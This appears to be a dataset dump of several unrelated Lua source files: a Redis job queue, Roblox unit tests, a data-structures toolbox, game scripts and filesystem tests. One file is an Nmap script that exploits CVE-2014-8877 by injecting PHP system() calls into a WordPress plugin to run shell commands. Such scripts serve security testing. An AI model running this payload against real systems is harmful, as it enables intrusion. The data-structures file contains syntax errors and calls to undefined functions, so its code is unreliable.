content
stringlengths 5
1.05M
|
|---|
local json = require 'cjson'
local async = require 'async'
local status = require 'redis-status.api'
local queuefactory = {}
local ILLEGAL_ARGS = {
"name",
"instance",
"queue",
"args",
"hash",
}
local checkArgs = function(args)
argsjson = json.encode(args)
for i,arg in ipairs(ILLEGAL_ARGS) do
local key = argsjson:find('"' .. arg .. '":')
if key then
error("Illegal string in arguments table: " .. arg)
end
end
end
function queuefactory:init(environment)
self.environment = environment
end
function queuefactory:newqueue(name, queueType)
if not self.environment then
error("Cannot create queues until queue factory is properly initiated")
end
local queue = {}
queue.name = name
queue.jobs = {}
queue.type = queueType.type
queue.environment = self.environment
local redis = self.environment.redis
queue.startup = function(cb)
queueType.startup(queue, cb)
end
queue.subscribe = function(jobs, cb)
status.writeStatus({state = "Subscribing"})
queue.state = "Subscribing"
if queue.environment == nil or queue.environment.subscriber == nil then
error('Environment not ready for subscription -- either not inited or subscription connection not opened yet')
end
queueType.subscribe(queue, jobs, cb)
end
queue.donesubscribing = function(cb)
queue.waiting = true
queue.dequeueAndRun()
status.writeStatus({state = "Ready"})
queue.state = "Ready"
if cb then cb() end
end
queue.enqueue = function(jobName, args, cb)
local jobArgs = args.jobArgs
checkArgs(jobArgs)
local callback = cb
if self.environment.enqueueTimeout ~= 0 then
local enqueuejobtimeout = async.setTimeout(self.environment.enqueueTimeout or 60000, function()
local error_string = "Redis Queue Timed out enqueueing:\nJobName: " .. tostring(jobName) .. "\nQueueName: " .. queue.name
if self.environment.timeoutError then
error(error_string)
else
print(error_string) -- not erroring until we have things stable
end
end)
callback = function(res)
enqueuejobtimeout:clear()
if cb then
cb(res)
end
end
end
queueType.enqueue(queue, jobName, args, callback)
end
queue.reenqueue = function(failureId, jobJson, cb)
local _,_,jobHash = jobJson:find('"hash":"(.-)"')
local _,_,jobName = jobJson:find('"name":"(.-)"')
queueType.reenqueue(queue, {queueName = queue.name, jobJson = jobJson, jobName = jobName, jobHash = jobHash, failureId = failureId},cb)
end
queue.dequeueAndRun = function()
-- atomically pop the job and push it onto an hset
-- if the worker is busy, set a reminder to check that queue when done processing, otherwise, process it
if queue.busy or queue.environment == nil or queue.environment.workername == nil then
queue.waiting = true
return
end
-- need to set this before pulling a job off the queue to ensure one job at a time
queue.busy = true
status.writeStatus({state = "Dequeuing"})
queue.workerstate = "Dequeuing job"
queueType.dequeue(queue, function(res)
if res then
async.pcall(async.fiber(function()
status.writeStatus({state = "Running"})
queue.state = "Running:" .. res.name
local jobresult
local jobsuccess = true
xpcall(function()
jobresult = queue.execute(res)
end,
function(er)
jobsuccess = false
local err = debug.traceback(er)
print(err)
local jobHash
if not res.hash or res.hash == "0" then
jobHash = res.name .. ":" .. json.encode(res.args)
else
jobHash = res.hash
end
queue.failure({jobHash=jobHash, err=err}, res)
end)
queue.cleanup({response = res, jobresult = jobresult, jobHash = res.hash, jobName = res.name, success = jobsuccess}, res)
status.writeStatus({state = "Ready"})
queue.state = "Ready"
queue.busy = false
-- job's completed, let's check for other jobs we might have missed
if queue.waiting then
queue.dequeueAndRun()
end
end))
else
queue.busy = false
queue.waiting = false
status.writeStatus({state = "Ready"})
queue.state = "Ready"
end
end)
end
queue.execute = function(res)
local job = queue.jobs[res.name]
return job(res.args)
end
queue.failure = function(argtable, res)
queueType.failure(queue, argtable)
end
queue.cleanup = function(argtable, res)
queueType.cleanup(queue, argtable)
end
if queueType.doOverrides then
queueType.doOverrides(queue)
end
return queue
end
return queuefactory
|
return function()
local Constants = require(script.Parent.Parent.Core.Constants)
local T = require(script.Parent.Parent.Core.T)
local ENTITY_ATTRIBUTE_NAME = Constants.EntityAttributeName
local INSTANCE_REF_FOLDER = Constants.InstanceRefFolder
local tryFromAttributes = require(script.Parent.tryFromAttributes)
describe("basic types", function()
it(
"should return true and the value when the instance has the correct attribute",
function()
local instance = Instance.new("Folder")
instance:SetAttribute("Test", Vector3.new(1, 1, 1))
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, entity, component = tryFromAttributes(instance, {
name = "Test",
type = T.Vector3,
})
expect(success).to.equal(true)
expect(component).to.equal(Vector3.new(1, 1, 1))
expect(entity).to.equal(1)
end
)
it("should fail for an unresolvable type", function()
local instance = Instance.new("Folder")
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.Random,
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
it("should fail when the attribute is not of the correct type", function()
local instance = Instance.new("Hole")
instance:SetAttribute("Test", 2.7182818284)
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.Vector3,
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
it("should fail when the instance does not have the attribute", function()
local instance = Instance.new("Hole")
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.Vector3,
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
end)
describe("strictInterface", function()
it(
"should return true and the value when the instance has the correct attributes",
function()
local instance = Instance.new("Folder")
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
instance:SetAttribute("Test_Field1", UDim2.new(1, 2, 3, 4))
instance:SetAttribute("Test_Field2", true)
instance:SetAttribute("Test_Field3", -273.15)
local success, entity, component = tryFromAttributes(instance, {
name = "Test",
type = T.strictInterface({
Field1 = T.UDim2,
Field2 = T.boolean,
Field3 = T.number,
}),
})
expect(success).to.equal(true)
expect(entity).to.equal(1)
expect(component).to.be.a("table")
expect(component.Field1).to.equal(UDim2.new(1, 2, 3, 4))
expect(component.Field2).to.equal(true)
expect(component.Field3).to.equal(-273.15)
end
)
end)
describe("strictArray", function()
it(
"should return true and the value when the instance has the correct attributes",
function()
local instance = Instance.new("Folder")
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
instance:SetAttribute("Test_1", UDim2.new(1, 2, 3, 4))
instance:SetAttribute("Test_2", true)
instance:SetAttribute("Test_3", -273.15)
local success, entity, component = tryFromAttributes(instance, {
name = "Test",
type = T.strictArray(T.UDim2, T.boolean, T.number),
})
expect(success).to.equal(true)
expect(entity).to.equal(1)
expect(component).to.be.a("table")
expect(component[1]).to.equal(UDim2.new(1, 2, 3, 4))
expect(component[2]).to.equal(true)
expect(component[3]).to.equal(-273.15)
end
)
end)
describe("Instance", function()
it(
"should resolve a true boolean attribute to a an Instance reference contained by a correspondingly-named ObjectValue under the ref folder",
function()
local instance = Instance.new("FlagStand")
local refFolder = Instance.new("Folder")
local objectValue = Instance.new("ObjectValue")
local part = Instance.new("Part")
refFolder.Name = INSTANCE_REF_FOLDER
refFolder.Parent = instance
objectValue.Value = part
objectValue.Name = "Test"
objectValue.Parent = refFolder
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
instance:SetAttribute("Test", true)
local success, entity, component = tryFromAttributes(instance, {
name = "Test",
type = T.Instance,
})
expect(success).to.equal(true)
expect(entity).to.equal(1)
expect(component).to.equal(part)
end
)
it("should fail when the ObjectValue does not exist", function()
local instance = Instance.new("FlagStand")
local refFolder = Instance.new("Folder")
refFolder.Name = INSTANCE_REF_FOLDER
refFolder.Parent = instance
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
instance:SetAttribute("Test", true)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.Instance,
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
it("should fail when the ref folder does not exist", function()
local instance = Instance.new("FlagStand")
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
instance:SetAttribute("Test", true)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.Instance,
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
it("should fail when the attribute is false", function()
local instance = Instance.new("FlagStand")
instance:SetAttribute("Test", false)
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.Instance,
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
end)
describe("instanceOf", function()
it("should fail when the referent is not of the correct class", function()
local instance = Instance.new("FlagStand")
local refFolder = Instance.new("Folder")
local objectValue = Instance.new("ObjectValue")
local hole = Instance.new("Hole")
refFolder.Name = INSTANCE_REF_FOLDER
refFolder.Parent = instance
objectValue.Value = hole
objectValue.Name = "Test"
objectValue.Parent = refFolder
instance:SetAttribute("Test", true)
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.instanceOf("Part"),
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
end)
describe("instanceIsA", function()
it("should fail when the referent is not of the correct kind", function()
local instance = Instance.new("FlagStand")
local refFolder = Instance.new("Folder")
local objectValue = Instance.new("ObjectValue")
local hole = Instance.new("Hole")
refFolder.Name = INSTANCE_REF_FOLDER
refFolder.Parent = instance
objectValue.Value = hole
objectValue.Name = "Test"
objectValue.Parent = refFolder
instance:SetAttribute("Test", true)
instance:SetAttribute(ENTITY_ATTRIBUTE_NAME, 1)
local success, result = tryFromAttributes(instance, {
name = "Test",
type = T.instanceIsA("BasePart"),
})
expect(success).to.equal(false)
expect(result).to.be.a("string")
end)
end)
end
|
-----------------------------------------------------------------------------------------------------
-- TOOLBOX FUNCTIONS
-----------------------------------------------------------------------------------------------------
function Clone(t)
local u = setmetatable({}, getmetatable(t))
for i,v in pairs(t) do
u[i] = v
end
return u
end
function Merge(t,u)
local r = clone(t)
for i, v in pairs(u) do
r[i] = v
end
return r
end
function Rearrange(p,t)
local r = clone(t)
for i,v in pairs(p) do
r[v] = t[i]
r[i] = nil
end
return r
end
-----------------------------------------------------------------------------------------------------
-- GENERIC DATA STRUCTURES WITH METAMETHODS
-----------------------------------------------------------------------------------------------------
--- Basic Table :: New, Get, Set, Add, Remove and Size.
-- LIST
List = {}
List.__index = List
function List:New()
return setmetatable({ __size = 0}, self)
end
function List:Get(i)
return self[i]
end
function List:Set(i, e)
return self[i] = e
end
function List:Add(i, e)
table.insert(self, i, e)
self.__size = self.__size + 1
end
function List:Remove(i)
table.remove(self, i)
self.__size = self.__size - 1
end
function List:Size()
return self.__size
end
---------------------------------------------------------------------------------------------------
--- Node Table :: New, First, Last, Set, Next, Previous, AddFirst, AddLast, AddBefore, AddAfter, Remove and Size.
-- NODE LIST
NList = {}
NList.__index = NList
function NList:New()
local l = {head = {}, tail = {}, __size = 0}
l.head.__next, l.tail.__prev = l.tail, l.head
return setmetatable(l, self)
end
function NList:First()
if self.__size > 0 then
return self.head.__next
else
return nil
end
end
function NList:Last()
if self.__size > 0 then
return self.tail.__prev
else
return nil
end
end
function NList:Set(node, elem)
node.value = elem
end
function NList:Next()
if node.__next ~= self.tail then
return node.__next
else
return nil
end
end
function NList:Prev(node)
if node.__prev ~= self.head then
return node.__prev
else
return nil
end
end
function NList:AddFirst(elem)
local node = { __prev = self.head, value = elem, __next = self.head.__next }
node.__next.__prev = node
self.head.__next = node
self.__size = self.__size + 1
end
function NList:AddLast(elem)
local node = { __prev = self.tail.__prev, value = elem, __next = self.tail }
node.__prev.__next = node
self.tail.__prev = node
self.__size = self.__size + 1
end
function NList:AddBefore(node, elem)
local new_node = { __prev = node.__prev, value = elem, __next = node }
new_node.__prev.__next = new_node
node.__prev = new_node
self.__size = self.__size + 1
end
function NList:AddAfter(node, elem)
local new_node = { __prev = node, value = elem, __next = node.__next }
node.__next = new_node
new_node.__next.__prev = new_node
self.__size = self.__size + 1
end
function NList:Remove(node)
node.__prev.__next = node.__next
node.__next.__prev = node.__prev
self.__size = self.__size - 1
end
function NList:Size()
return self.__size
end
------------------------------------------------------------------------------------------------------------------
--- Node based Dequeue :: New, AddFirst, AddLast, GetFirst, GetLast, First, Last and Size.
-- NODE DEQUEUE (Double Ended Queue Handler)
NDequeue = {}
NDequeue.__index = NDequeue
function NDequeue:New()
local l = {nlist = NList:New()}
return setmetatable{l, self}
end
function NDequeue:AddFirst(elem)
self.nlist:AddFirst(elem)
end
function NDequeue:AddLast(elem)
self.nlist:AddLast(elem)
end
function NDequeue:GetFirst()
local result = self.nlist:First()
if result then
self.nlist:Remove(result)
return result.value
else
return nil
end
end
function NDequeue:GetLast()
local result = self.nlist:Last()
if result then
self.nlist:Remove(result)
return result.value
else
return nil
end
end
function NDequeue:First()
return self.nlist:First().value
end
function NDequeue:Last()
return self.nlist:Last().value
end
function NDequeue:Size()
return self.nlist:Size()
end
------------------------------------------------------------------------------------------------------------------
--- Node Based Tree :: New, Root, AddRoot, IsRoot, Parent, Left, Right, InsertLeft, InsertRight, IsInternal, IsExternal, Replace, Remove and Size.
-- NODE TREE (Similar to Binary)
NTree = {}
NTree.__index = NTree
function NTree:New()
return setmetatable({ __size = 0}, self)
end
function NTree:Root()
return self.__root
end
function NTree:AddRoot(elem)
self.__root = {value = elem}
self.__size = 1
return self.__root
end
function NTree:Parent(node)
return node.__parent
end
function NTree:Left(node)
return node.__left
end
function NTree:Right(node)
return node.__right
end
function NTree:InsertLeft(node, elem)
local new_node = {value = elem, __parent = node}
node.__left = new_node
self.size = self.__size + 1
return new_node
end
function NTree:InsertRight(node, elem)
local new_node = {value = elem, __parent = node}
node.__right = new_node
self.size = self.__size + 1
return new_node
end
function NTree:IsInternal(node)
return node.__left or node.__right
end
function NTree:IsExternal(node)
return not self:IsInternal(node)
end
function NTree:IsRoot(node)
return (node == self.__root)
end
function NTree:Replace(node, elem)
node.value = elem
end
function NTree:Remove(node)
local parent = node.__parent
local left_child = (parent.__left == node)
if left_child then
parent.__left = nil
else
parent.__right = nil
end
self.__size = self.__size - 1
end
function NTree:Size()
return self.__size
end
------------------------------------------------------------------------------------------------------------------
--- Array Based Tree :: New, Root, AddRoot, IsRoot, Parent, Left, Right, InsertLeft, InsertRight, IsInternal, IsExternal, SubSize, Replace, Remove and Size.
-- ARRAY TREE (Similar to Binary)
ATree = {}
ATree.__index = ATree
function ATree:New()
return setmetatable({__size = 0}, self)
end
function ATree:Root()
return self.[1]
end
function ATree:AddRoot(elem)
self[1] = elem
self.__size = 1
end
function ATree:Parent(node)
return math.floor(node/2)
end
function ATree:Left(node)
return 2 * node
end
function ATree:Right(node)
return 2 * node + 1
end
function ATree:InsertLeft(node, elem)
self[2*node] = elem
self.__size = self.__size + 1
end
function ATree:InsertLeft(node, elem)
self[2*node+1] = elem
self.__size = self.__size + 1
end
function ATree:IsInternal(node)
return (self[2*node] ~= nil or self[2*node+1] ~= nil)
end
function ATree:IsExternal(node)
return not self:IsInternal(node)
end
function ATree:IsRoot(node)
return (node == 1)
end
function ATree:Replace(node, elem)
self[node] = elem
end
function ATree:Subsize(node)
if self[node] == nil then
return 0
else
return 1 + self:Subsize(self:Left(node))
+ self:Subsize(self:Right(node))
end
end
function ATree:Rem(node)
local count = self:Subsize(node)
self[node] = nil
self.__size = self.__size - count
end
function ATree:Size()
return self.__size
end
|
local syntel = request('^.words.syntel')
local name = request('^.words.name')
return
{
name = 'dot_name',
syntel('.'),
name,
}
|
object_tangible_event_perk_halloween_spider_web_03 = object_tangible_event_perk_shared_halloween_spider_web_03:new {
}
ObjectTemplates:addTemplate(object_tangible_event_perk_halloween_spider_web_03, "object/tangible/event_perk/halloween_spider_web_03.iff")
|
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local url = require "url"
local vulns = require "vulns"
local base64 = require "base64"
local rand = require "rand"
description = [[
Exploits a remote code injection vulnerability (CVE-2014-8877) in Wordpress CM
Download Manager plugin. Versions <= 2.0.0 are known to be affected.
CM Download Manager plugin does not correctly sanitise the user input which
allows remote attackers to execute arbitrary PHP code via the CMDsearch
parameter to cmdownloads/, which is processed by the PHP 'create_function'
function.
The script injects PHP system() function into the vulnerable target in order to
execute specified shell command.
]]
---
-- @usage
-- nmap --script http-vuln-cve2014-8877 --script-args http-vuln-cve2014-8877.cmd="whoami",http-vuln-cve2014-8877.uri="/wordpress" <target>
-- nmap --script http-vuln-cve2014-8877 <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 80/tcp open http syn-ack
-- | http-vuln-cve2014-8877:
-- | VULNERABLE:
-- | Code Injection in Wordpress CM Download Manager plugin
-- | State: VULNERABLE (Exploitable)
-- | IDs: CVE:CVE-2014-8877
-- | CM Download Manager plugin does not correctly sanitise the user input
-- | which allows remote attackers to execute arbitrary PHP code via the
-- | CMDsearch parameter to cmdownloads/, which is processed by the PHP
-- | 'create_function' function.
-- |
-- | Disclosure date: 2014-11-14
-- | Exploit results:
-- | Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
-- | References:
-- |_ https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-8877
--
-- @args http-vuln-cve2014-8877.uri Wordpress root directory on the website. Default: /
-- @args http-vuln-cve2014-8877.cmd Command to execute. Default: nil
---
author = "Mariusz Ziulek <mzet()owasp org>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}
portrule = shortport.http
function genHttpReq(host, port, uri, cmd)
local rnd = nil
local payload = nil
local vulnPath = '/cmdownloads/?CMDsearch='
if cmd ~= nil then
payload = '".system("'..cmd..'")."'
else
rnd = rand.random_alpha(15)
local encRnd = base64.enc(rnd)
payload = '".base64_decode("'..encRnd..'")."'
end
local finalUri = uri..vulnPath..url.escape(payload)
local req = http.get(host, port, finalUri)
stdnse.debug(1, ("Sending GET '%s%s%s' request"):format(uri, vulnPath, payload))
if not(rnd) then
return req
else
return req, rnd
end
end
action = function(host, port)
local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
local rnd = nil
local req, rnd = genHttpReq(host, port, uri, nil)
-- check if target is vulnerable
if req.status == 200 and string.match(req.body, rnd) ~= nil then
local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
local vuln = {
title = 'Code Injection in Wordpress CM Download Manager plugin',
state = vulns.STATE.NOT_VULN,
description = [[
CM Download Manager plugin does not correctly sanitise the user input
which allows remote attackers to execute arbitrary PHP code via the
CMDsearch parameter to cmdownloads/, which is processed by the PHP
'create_function' function.
]],
IDS = {CVE = 'CVE-2014-8877'},
references = {
'www.securityfocus.com/bid/71204/'
},
dates = {
disclosure = {year = '2014', month = '11', day = '14'},
},
}
stdnse.debug(1, string.format("Random string '%s' was found in the body response. Host seems to be vulnerable.", rnd))
vuln.state = vulns.STATE.EXPLOIT
-- exploit the vulnerability
if cmd ~= nil then
-- wrap cmd with pattern which is used to filter out only relevant output from the response
local pattern = rand.random_alpha(5)
req = genHttpReq(host, port, uri, 'echo '..pattern..';'..cmd..';echo '..pattern..';')
if req.status == 200 then
-- take first lazy match as command output
local cmdOut = nil
for m in string.gmatch(req.body, pattern..'\n(.-)\n'..pattern) do
cmdOut = m
break
end
if cmdOut ~= nil then
vuln.exploit_results = cmdOut
end
end
end
return vulnReport:make_output(vuln)
end
end
|
-- shared
local _={}
_.set_state=function(actor,state)
local animation=actor.animation
if animation then
local actor_text=_ets(actor)
log("animation start:"..state.." for:"..actor_text, "verbose")
local entity_animation_state=actor.animation_state
animation.state=state
if entity_animation_state then
entity_animation_state.next_game_frame=_frm()
end
end
end
return _
|
require "/scripts/messageutil.lua"
mhDemo = {}
function mhDemo.init()
message.setHandler("mhDeployment_loaded", localHandler(mhDemo.handler))
end
function mhDemo.handler()
return true
end
local ini = init
init = type(ini) == "function" and function() ini() mhDemo.init() end or mhDemo.init
|
require 'bee'
local platform = require 'bee.platform'
local fs = require 'bee.filesystem'
local lu = require 'ltest'
local shell = require 'shell'
local C
local D
if platform.OS == 'Windows' then
C = 'c:/'
D = 'd:/'
else
C = '/mnt/c/'
D = '/mnt/d/'
end
local function create_file(filename, content)
os.remove(filename)
local f = assert(io.open(filename, 'wb'))
if content ~= nil then
f:write(content)
end
f:close()
end
local function read_file(filename)
local f = assert(io.open(filename, 'rb'))
local content = f:read 'a'
f:close()
return content
end
local test_fs = lu.test "filesystem"
local ALLOW_WRITE = 0x92
local USER_WRITE = 0x80
function test_fs:test_setup()
if fs.exists(fs.path('temp1.txt')) then
fs.path('temp1.txt'):add_permissions(ALLOW_WRITE)
os.remove('temp1.txt')
end
if fs.exists(fs.path('temp2.txt')) then
fs.path('temp2.txt'):add_permissions(ALLOW_WRITE)
os.remove('temp2.txt')
end
end
function test_fs:test_path()
local path = fs.path('')
lu.assertEquals(type(path) == 'userdata' or type(path) == 'table', true)
end
function test_fs:test_string()
lu.assertEquals(fs.path('a/b'):string(), 'a/b')
if platform.OS == 'Windows' then
lu.assertEquals(fs.path('a\\b'):string(), 'a/b')
end
end
function test_fs:test_filename()
local function get_filename(path)
return fs.path(path):filename():string()
end
lu.assertEquals(get_filename('a/b'), 'b')
lu.assertEquals(get_filename('a/b/'), '')
if platform.OS == 'Windows' then
lu.assertEquals(get_filename('a\\b'), 'b')
lu.assertEquals(get_filename('a\\b\\'), '')
end
end
function test_fs:test_parent_path()
local function get_parent_path(path)
return fs.path(path):parent_path():string()
end
lu.assertEquals(get_parent_path('a/b/c'), 'a/b')
lu.assertEquals(get_parent_path('a/b/'), 'a/b')
if platform.OS == 'Windows' then
lu.assertEquals(get_parent_path('a\\b\\c'), 'a/b')
lu.assertEquals(get_parent_path('a\\b\\'), 'a/b')
end
end
function test_fs:test_stem()
local function get_stem(path)
return fs.path(path):stem():string()
end
lu.assertEquals(get_stem('a/b/c.ext'), 'c')
lu.assertEquals(get_stem('a/b/c'), 'c')
lu.assertEquals(get_stem('a/b/.ext'), '.ext')
if platform.OS == 'Windows' then
lu.assertEquals(get_stem('a\\b\\c.ext'), 'c')
lu.assertEquals(get_stem('a\\b\\c'), 'c')
lu.assertEquals(get_stem('a\\b\\.ext'), '.ext')
end
end
function test_fs:test_extension()
local function get_extension(path)
return fs.path(path):extension():string()
end
lu.assertEquals(get_extension('a/b/c.ext'), '.ext')
lu.assertEquals(get_extension('a/b/c'), '')
lu.assertEquals(get_extension('a/b/.ext'), '')
if platform.OS == 'Windows' then
lu.assertEquals(get_extension('a\\b\\c.ext'), '.ext')
lu.assertEquals(get_extension('a\\b\\c'), '')
lu.assertEquals(get_extension('a\\b\\.ext'), '')
end
lu.assertEquals(get_extension('a/b/c.'), '.')
lu.assertEquals(get_extension('a/b/c..'), '.')
lu.assertEquals(get_extension('a/b/c..lua'), '.lua')
end
function test_fs:test_absolute_relative()
local function assertIsAbsolute(path)
lu.assertEquals(fs.path(path):is_absolute(), true)
lu.assertEquals(fs.path(path):is_relative(), false)
end
local function assertIsRelative(path)
lu.assertEquals(fs.path(path):is_absolute(), false)
lu.assertEquals(fs.path(path):is_relative(), true)
end
assertIsAbsolute(C..'a/b')
if not (platform.OS == 'Windows' and platform.CRT == 'libstdc++') then
-- TODO: mingw bug
assertIsAbsolute('//a/b')
end
assertIsRelative('./a/b')
assertIsRelative('a/b')
assertIsRelative('../a/b')
if platform.OS == 'Windows' then
assertIsRelative('/a/b')
else
assertIsAbsolute('/a/b')
end
end
function test_fs:test_remove_filename()
local function remove_filename(path)
return fs.path(path):remove_filename():string()
end
lu.assertEquals(remove_filename('a/b/c'), 'a/b/')
lu.assertEquals(remove_filename('a/b/'), 'a/b/')
if platform.OS == 'Windows' then
lu.assertEquals(remove_filename('a\\b\\c'), 'a/b/')
lu.assertEquals(remove_filename('a\\b\\'), 'a/b/')
end
end
function test_fs:test_replace_extension()
local function replace_extension(path, ext)
return fs.path(path):replace_extension(ext):string()
end
lu.assertEquals(replace_extension('a/b/c.ext', '.lua'), 'a/b/c.lua')
lu.assertEquals(replace_extension('a/b/c', '.lua'), 'a/b/c.lua')
lu.assertEquals(replace_extension('a/b/.ext', '.lua'), 'a/b/.ext.lua')
if platform.OS == 'Windows' then
lu.assertEquals(replace_extension('a\\b\\c.ext', '.lua'), 'a/b/c.lua')
lu.assertEquals(replace_extension('a\\b\\c', '.lua'), 'a/b/c.lua')
lu.assertEquals(replace_extension('a\\b\\.ext', '.lua'), 'a/b/.ext.lua')
end
lu.assertEquals(replace_extension('a/b/c.ext', 'lua'), 'a/b/c.lua')
lu.assertEquals(replace_extension('a/b/c.ext', '..lua'), 'a/b/c..lua')
lu.assertEquals(replace_extension('c.ext', '.lua'), 'c.lua')
end
function test_fs:test_equal_extension()
local function equal_extension(path, ext)
return lu.assertEquals(fs.path(path):equal_extension(ext), true)
end
equal_extension('a/b/c.ext', '.ext')
equal_extension('a/b/c.ext', 'ext')
equal_extension('a/b/c', '')
equal_extension('a/b/.ext', '')
equal_extension('a/b/c.', '.')
equal_extension('a/b/c..', '.')
equal_extension('a/b/c..lua', '.lua')
equal_extension('a/b/c..lua', 'lua')
end
function test_fs:test_permissions()
local filename = 'temp.txt'
create_file(filename)
lu.assertEquals(fs.path(filename):permissions() & USER_WRITE, USER_WRITE)
shell:add_readonly(filename)
lu.assertEquals(fs.path(filename):permissions() & USER_WRITE, 0)
shell:del_readonly(filename)
os.remove(filename)
end
function test_fs:test_add_remove_permissions()
local filename = 'temp.txt'
create_file(filename)
lu.assertEquals(fs.path(filename):permissions() & USER_WRITE, USER_WRITE)
fs.path(filename):remove_permissions(ALLOW_WRITE)
lu.assertEquals(fs.path(filename):permissions() & USER_WRITE, 0)
fs.path(filename):add_permissions(ALLOW_WRITE)
lu.assertEquals(fs.path(filename):permissions() & USER_WRITE, USER_WRITE)
os.remove(filename)
end
function test_fs:test_div()
local function eq_div(A, B, C)
lu.assertEquals(fs.path(A) / B, fs.path(C))
end
eq_div('a', 'b', 'a/b')
eq_div('a/b', 'c', 'a/b/c')
eq_div('a/', 'b', 'a/b')
eq_div('a', '/b', '/b')
eq_div('', 'a/b', 'a/b')
eq_div(C..'a', D..'b', D..'b')
eq_div(C..'a/', D..'b', D..'b')
if platform.OS == 'Windows' then
eq_div('a/', '\\b', '/b')
eq_div('a\\b', 'c', 'a/b/c')
eq_div('a\\', 'b', 'a/b')
eq_div(C..'a', '/b', C..'b')
eq_div(C..'a/', '\\b', C..'b')
else
eq_div('a/b', 'c', 'a/b/c')
eq_div(C..'a', '/b', '/b')
eq_div(C..'a/', '/b', '/b')
end
end
function test_fs:test_concat()
local function concat(a, b, c)
lu.assertEquals(fs.path(a) .. b, fs.path(c))
lu.assertEquals(fs.path(a) .. fs.path(b), fs.path(c))
end
concat('a', 'b', 'ab')
concat('a/b', 'c', 'a/bc')
end
function test_fs:test_absolute()
local function eq_absolute1(path)
return lu.assertEquals(fs.absolute(fs.path(path)):string(), (fs.current_path() / path):string())
end
local function eq_absolute2(path1, path2)
return lu.assertEquals(fs.absolute(fs.path(path1)):string(), (fs.current_path() / path2):string())
end
if platform.OS == 'Windows' then
eq_absolute1('a\\')
eq_absolute1('a\\b')
eq_absolute1('a\\b\\')
eq_absolute2('a/b', 'a\\b')
eq_absolute2('./b', 'b')
eq_absolute2('a/../b', 'b')
eq_absolute2('a/b/../', 'a\\')
else
eq_absolute1('a/')
eq_absolute1('a/b')
eq_absolute1('a/b/')
eq_absolute2('a/b', 'a/b')
eq_absolute2('./b', 'b')
eq_absolute2('a/../b', 'b')
eq_absolute2('a/b/../', 'a/')
end
end
function test_fs:test_relative()
local function relative(a, b, c)
return lu.assertEquals(fs.relative(fs.path(a), fs.path(b)):string(), c)
end
relative(C..'a/b/c', C..'a/b', 'c')
relative(C..'a/b', C..'a/b/c', '..')
relative(C..'a/b/c', C..'a', 'b/c')
relative(C..'a/d/e', C..'a/b/c', '../../d/e')
if platform.OS == 'Windows' then
--relative(D..'a/b/c', C..'a', '')
relative('a', C..'a/b/c', '')
relative(C..'a/b', 'a/b/c', '')
relative(C..'a\\b\\c', C..'a', 'b/c')
relative('c:\\a\\b\\c', 'C:\\a', 'b/c')
else
-- TODO
--relative(D..'a/b/c', C..'a', '')
--relative('a', C..'a/b/c', '')
--relative(C..'a/b', 'a/b/c', '')
end
end
function test_fs:test_eq()
local function eq(A, B)
return lu.assertEquals(fs.path(A), fs.path(B))
end
eq('a/b', 'a/b')
eq('a/./b', 'a/b')
eq('a/b/../c', 'a/c')
eq('a/b/../c', 'a/d/../c')
if platform.OS == 'Windows' then
eq('a/B', 'a/b')
eq('a/b', 'a\\b')
end
end
function test_fs:test_exists()
local function is_exists(path, b)
lu.assertEquals(fs.exists(fs.path(path)), b, path)
end
local filename = 'temp.txt'
os.remove(filename)
is_exists(filename, false)
create_file(filename)
is_exists(filename, true)
os.remove(filename)
is_exists(filename, false)
end
function test_fs:test_remove()
local function remove_ok(path, b)
lu.assertEquals(fs.exists(fs.path(path)), b)
lu.assertEquals(fs.remove(fs.path(path)), b)
lu.assertEquals(fs.exists(fs.path(path)), false)
end
local function remove_failed(path)
lu.assertEquals(fs.exists(fs.path(path)), true)
lu.assertError(fs.remove, fs.path(path))
lu.assertEquals(fs.exists(fs.path(path)), true)
end
local filename = 'temp.txt'
os.remove(filename)
create_file(filename)
remove_ok(filename, true)
remove_ok(filename, false)
local filename = 'temp'
fs.remove_all(fs.path(filename))
fs.create_directories(fs.path(filename))
remove_ok(filename, true)
remove_ok(filename, false)
local filename = 'temp/temp'
fs.remove_all(fs.path(filename))
fs.create_directories(fs.path(filename))
remove_ok(filename, true)
remove_ok(filename, false)
local filename = 'temp'
fs.remove_all(fs.path(filename))
fs.create_directories(fs.path(filename))
create_file('temp/temp.txt')
remove_failed(filename)
remove_ok('temp/temp.txt', true)
remove_ok(filename, true)
remove_ok(filename, false)
end
function test_fs:test_remove_all()
local function remove_all(path, n)
lu.assertEquals(fs.exists(fs.path(path)), n ~= 0)
